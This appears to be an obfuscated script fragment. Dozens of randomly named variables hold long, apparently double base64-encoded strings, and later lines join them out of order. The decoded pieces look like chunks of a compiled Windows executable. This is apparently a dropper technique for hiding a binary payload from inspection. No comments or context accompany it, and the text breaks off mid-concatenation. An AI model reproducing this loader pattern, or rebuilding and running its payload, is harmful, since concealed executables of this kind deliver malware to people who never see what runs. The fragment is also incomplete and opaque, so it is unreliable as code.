QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" gyLPgEnLTxnbxyZNvFPsslE = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkFqQVVBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" gNQUkayMQCoqhaCxkMsR = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" TXIzOYq = "L3lVd3RnQUEveVhxdHdBQS95WGN0d0FBL3lYT3R3QUEveVhBdHdBQS95V3l0d0FBL3lXa3R3QUEveVdXdHdBQS95V0l0d0FBL3lWNnR3QUEveVZzdHdBQS95VmV0d0FBL3lWUXR3QUEveVZDdHdBQS95VTB0d0FBL3lVbXR3QUEveVVZdHdBQS95VUt0d0FBL3lYOHRnQUEveVh1dGdBQS95WGd0Z0FBL3lYU3RnQUEveVhFdGdBQS95VzJ0Z0FBL3lXb3RnQUEveVdhdGdBQS95V010Z0FBL3lVMnRnQUEveVY0dGdBQS95Vkt0d0FBL3lVc3RnQUEveVV1dGdBQS95VXd0Z0FBL3lVeXRnQUEveVUwdGdBQS95VTJ0Z0FBL3lVNHRnQUEveVU2dGdBQS95V0V0QUFBL3lYK3N3QUEveVVBdEFBQS95VUN0QUFBL3lVRXRBQUEveVVHdEFBQS95VUl0QUFBL3lVS3RBQUEveVVNdEFBQS95V090QUFBL3lXQXRBQUEveVZ5dEFBQS95Vmt0QUFBL3lWV3RBQUEveVZJdEFBQS95VTZ0QUFBL3lVc3RBQUEveVdXc3dBQS95VVF0QUFBL3lVQ3RBQUEveVgwc3dBQS95WG1zd0FBL3lYWXN3QUEveVhLc3dBQS95Vzhzd0FBL3lXdXN3QUF6TXpNek16TXNBSER6TXpNek16TXpNek16TXpNekxBQnc4ek16TXpNek16TXpNek16TXl3QWNQTXpNek16TXpNek16TXpNek1pRXdrQ0xBQnc4ek16TXpNek16TXpJaE1KQWl3QWNQTXpNek16TXpNek13endNUC9KWmUwQUFETXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" yLMpvyTCnJZPDgwQBPHkXbuEMkmQiFzmxyCqwxKuVeIqBQZscaBLQRHRcOXO = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" sPqnjMUPkXraNiYdmKDHaFHQOCaeGjVuwtTlZkwbEWSWsMqfoiCRhNjPSefNoKgCczlU = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" OGqredxqtvJndLDggszIxTZoq = "Q1FZU0l0RUpCaElnK0FHU0lQNEJnK0Zpd0FBQU1jRitYWUFBQU1BQUFDTEJmZDJBQUNEeUFpSkJlNTJBQUM0QkFBQUFFaHJ3QUtMUkFRd2crQWdoY0IwWHNjRnpIWUFBQVVBQUFDTEJjcDJBQUNEeUNDSkJjRjJBQUM0QkFBQUFFaHJ3QUtMUkFRd0pRQUFBOUE5QUFBRDBIVXNTSXRFSkJoSUplQUFBQUJJUGVBQUFBQjFHY2NGaDNZQUFBWUFBQUNMQllWMkFBQ0R5RUNKQlh4MkFBQXp3RWlMVENSQVNEUE02TnEzLy85SWc4UlFXOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lQc0dJTTlsWFVBQUFCMENjY0VKQUVBQUFEckI4Y0VKQUFBQUFDTEJDUklnOFFZdzh6TXpNek16TXpNek16TS95V1N0Z0FBL3lXRXRnQUEveVYydGdBQS95Vm90Z0FBL3lWYXRnQUEveVZNdGdBQS95VSt0Z0FB" ckfognONvFXDXhZSJWVEDVbUxGUTNFmbwt = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQ01CUUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" FsVvYVmrXEYYcmoAUxnlpnyCb = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVWxORVUrU3BO" cOvZPoCKLQokEcYfJSSsIsQCvzVMGChhzDaIHjQYMYNUWiMfkOtYyWCouuOwSS = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" jmRkplIbQIijaupiW = "RUFFTWdCQU1BbUFRRDJKZ0VBNk1nQkFCQW5BUUJVSndFQThNZ0JBSEFuQVFEUEp3RUFWTWdCQU04bkFRQ29LQUVBY01nQkFLZ29BUURGS0FFQWlNZ0JBSkFwQVFCZktnRUFOTWdCQUtBcUFRRE5LZ0VBSU1rQkFNMHFBUUE0S3dFQU5Na0JBRGdyQVFCU0t3RUFXTWtCQUtBckFRQUFMZ0VBK01nQkFLQXVBUUMvTGdFQXZNZ0JBTkF1QVFDVkx3RUFHTWdCQU5BdkFRQTBNQUVBbk1nQkFGQXdBUUIxTUFFQXRNZ0JBRUF4QVFCMU1RRUFuTWtCQUpBeEFRQmlNZ0VBaE1rQkFLQXlBUUN6TWdFQWZNa0JBTUF5QVFCY013RUFiTWtCQUpBekFRQ2ZOQUVBZE1rQkFQQTBBUUNCTlFFQWpNa0JBTEExQVFCaU5nRUFsTWtCQUpBMkFRQldOd0VBV01vQkFKQTNBUUFhT0FFQVVNb0JBRkE0QVFDeU9BRUE2TWtCQU5BNEFRRDlPQUVBS01vQkFCQTVBUUF0T1FFQUlNb0JBRUE1QVFCd09RRUFRTW9CQUlBNUFRQ1ZPUUVBU01vQkFLQTVBUUFGT2dFQUdNb0JBQ0E2QVFCT09nRUFNTW9CQUdBNkFRQjFPZ0VBT01vQkFJQTZBUURKT2dFQStNa0JBT0E2QVFEa093RUFDTW9CQURBOEFRQzdQQUVBdk1rQkFPQThBUUFQUFFFQThNa0JBQ0E5QVFCZlBRRUFBTW9CQUhBOUFRRHRQUUVBck1rQkFCQStBUUJiUGdFQXRNa0JBSEErQVFDalBnRUFwTWtCQUxBK0FRQnVQd0VBYU1vQkFLQS9BUUFVUUFFQVlNb0JBS0JBQVFDMlFBRUFj" kgsfHhlRVLtlJJqRMcOzUYrMSiEfKEemLrQjzANYdCoNIZSGRXoLHUPJDbxWaBhWjF = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlKVENRSVNJUHNlRWlMakNTQUFBQUEveFZoMmdBQVNJdUVKSUFBQUFCSWk0RDRBQUFBU0lsRUpGREhSQ1JBQUFBQUFPc0tpMFFrUVAvQWlVUWtRSU44SkVBQ2ZXZEZNOEJJalZRa1dFaUxUQ1JRL3hVbjJnQUFTSWxFSkVoSWczd2tTQUIwUTBqSFJDUTRBQUFBQUVpTlJDUmdTSWxFSkRCSWpVUWthRWlKUkNRb1NJdUVKSUFBQUFCSWlVUWtJRXlMVENSSVRJdEVKRkJJaTFRa1dEUEoveFhoMlFBQTZ3THJBdXVJU0lQRWVNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxVSkJCSWlVd2tDRWlEN0RoSWkwUWtRRWlKUkNRUVNJdEVKQkJJWTBBOFNJdE1KQkJJQThoSWk4RklpVVFrSUVpTFJDUWdTSWxFSkFoSWkwUWtDQSszUUJSSWkwd2tDRWlOUkFFWVNJbEVKQmhJaTBRa0NBKzNRQVpJYThBb1NJdE1KQmhJQThoSWk4RklpVVFrS0VpTFJDUVlTSWtFSk9zTVNJc0VKRWlEd0NoSWlRUWtTSXRFSkNoSU9RUWtkQzFJaXdRa2kwQU1TRGxFSkVoeUhVaUxCQ1NMUUF4SWl3d2tBMEVJaThCSU9VUWtTSE1HU0lzRUpPc0U2N3d6d0VpRHhEakR6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" xkFzR = "ckEvLzlJaTloSWhjQjFIdjhWS3NFQUFJUDRWM1VUTTlKRWpVTUlTSTFNSkZEb3A4RC8vMGlMMkVpTHcrbG8vdi8vek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlKWENRZ1YwaUI3SEFHQUFCSWl3WFVmd0FBU0RQRVNJbUVKR0FHQUFCSXgwUWtRQUFCQUFCSWpVUWtZRWlKUkNRNFRJMk1KR0FFQUFCSWpZUWtZQUlBQUVqSFJDUXdBQUVBQUVtTCtFaUpSQ1FvU0l2YVNNZEVKQ0FBQVFBQVFiZ0RBQUFBU0kxVUpGRG81c0wvLzRYQWRXMU1qUVYyWmdBQWpWQUpTSTJNSkdBQ0FBRG95TUQvLzRYQWRWSk1qUVZMWmdBQWpWQUVTSTFNSkdEb3NNRC8vNFhBZFRwSWpVUWtZRWlMMTBpSlJDUW9USTJNSkdBRUFBQklqWVFrWUFJQUFFaUx5MHlOUkNSUVNJbEVKQ0RvZWIvLy96UEpoY0FQbE1HTHdlc0NNOEJJaTR3a1lBWUFBRWd6ek9pWHdQLy9TSXVjSkpnR0FBQklnY1J3QmdBQVg4UE16TXpNek16TXpNek16TXpNek16TXpNek16" bdKCMyWHmOWcAgjlbMVbEglVvFJcGubBgwEzhrLw = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" alecfpzZXAAjOchHsifndkresMxMRmsghnoWrIPjqkOCxIruLdRoapuzDjdMZkMaJFAIuj = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" HKEqnxGiPFRjdCeRljCZffFFTKkCvRMfFgqG = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1RRlZJZyt3Z1NJdnFTSWxOUUVpTFJVQklpd0NMQUlsRkpFaUxSVUNMVFNSSWk5RG9ONUwvLzVCSWc4UWdYY1BNek16TXpNek16TXpNek16TXpNek16RUJWU0lQc0lFaUw2a2lMQVRQSmdUaUlFMjFBRDVUQmk4RklnOFFnWGNQTXpNek16TXpNek16TXpNek16TXpNekVCVlNJUHNJRWlMNmtpSlRVaElpMFZJU0lzQWl3Q0pSU1NMUlNROUJRQUF3SFVKeDBVZ0FRQUFBT3NIeDBVZ0FBQUFBSXRGSUVpRHhDQmR3OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" BumFQkMgMUNykMNviBlfdZHOyVThmijmcNTUNaXSNHYdNzXKRqhYiKlaRzCfBlcoN = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU = VEYGvieIXwNQYBkFyYgJLRPRfUMBOcvwKNCsAFLihTKZJAAEf + RseODqsHZOcDsHSeQJsCp + vZPlUyTjdULcGVTHUmzRSXXszQRFjEUoLeWjZVFPOiGNyOFRpRJIvSjDGmk + EtChjxuOXhmrIvqKWXIxaPTAo + pheHdhgetPucMsVcfiHrhrcpKwuklhIYmvBQvkydUigvKCAfHsihqnpAmpTZhDTZR + pmyRvIoaiAdTnm + PybvPlDJqWjrprGZSOHELncQwLXqEXvfMGEBVOEaccKNdCxzkRXJDNdsM + UukH + cSdyVPVfGzkDXafOVvTFIWCFkfroRguXbaooHEMLvryMLhSqHl + CxNzoOzrcwNLxwYcHMjlpynrYs + LYYYgtKeNO + QUukdsuDLJmKubdyASnDeGkASEJCcErPLDLhGtHDhngKqmI + tmhPQej + FOwoRiFKKMMDhtxiUfJDWzaqNJrPZwASlDxnERT + qpRHjZoTBzGJBQeVBJBEvDvfxiPXTkBzbYzFCng + WKMrozPvTpOFCSNgWtqwjGpRhnutJbgPjzC + czyBdpTqXRwcJVOUWkrggOGUymhuCzDOujPPMDouEPSuUgJxYKOviAjHVP + LUAoboTgsNfGwzgqMmwAGNgNPEHQiyGMldsAGKiidxDSFGAXcwjrYrbnpzEIlOcnGHPSv + LJhyrLoIncLkdHEcvUAqOHrqWcaMMbrRwOoXsjwuIRmckImjwlqUKadNKtyoWTLMabOqb + eYGXDYAkiMnkMYrxGeLZkudKRTmVWqyiygBJrkzvMDupSVfqXYyuTLwLHOkjhvC AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog = GuQxrSYxJGddVXCHQpGAWAkiZgqPUKwPHBncITqQUblgcwlHmQqactoHwqrduW + kgsfHhlRVLtlJJqRMcOzUYrMSiEfKEemLrQjzANYdCoNIZSGRXoLHUPJDbxWaBhWjF + xdBS + tLnjIIqQbfzUXdfNouipqHjXpLG + XKfg + FWMyIMgY + CRhXDbBjmGHbyTLCeuwFsAwYKdc + zIlByGQtxrTAJVlTCjNloPoxQZyhA + xPwYBnIxnYgEBltvciefwyPdNaqcxqVUFITQXdSjFmRRnEAHVk + KuoAmNWXhbIXyUUDtQJrlEs + fNRbSvFMgVUyiPQKVtUtSCvCrotHNgIDP + znGAYdzaLHTCbsrUAAiOWfIWelxJaiawlEYPZH + 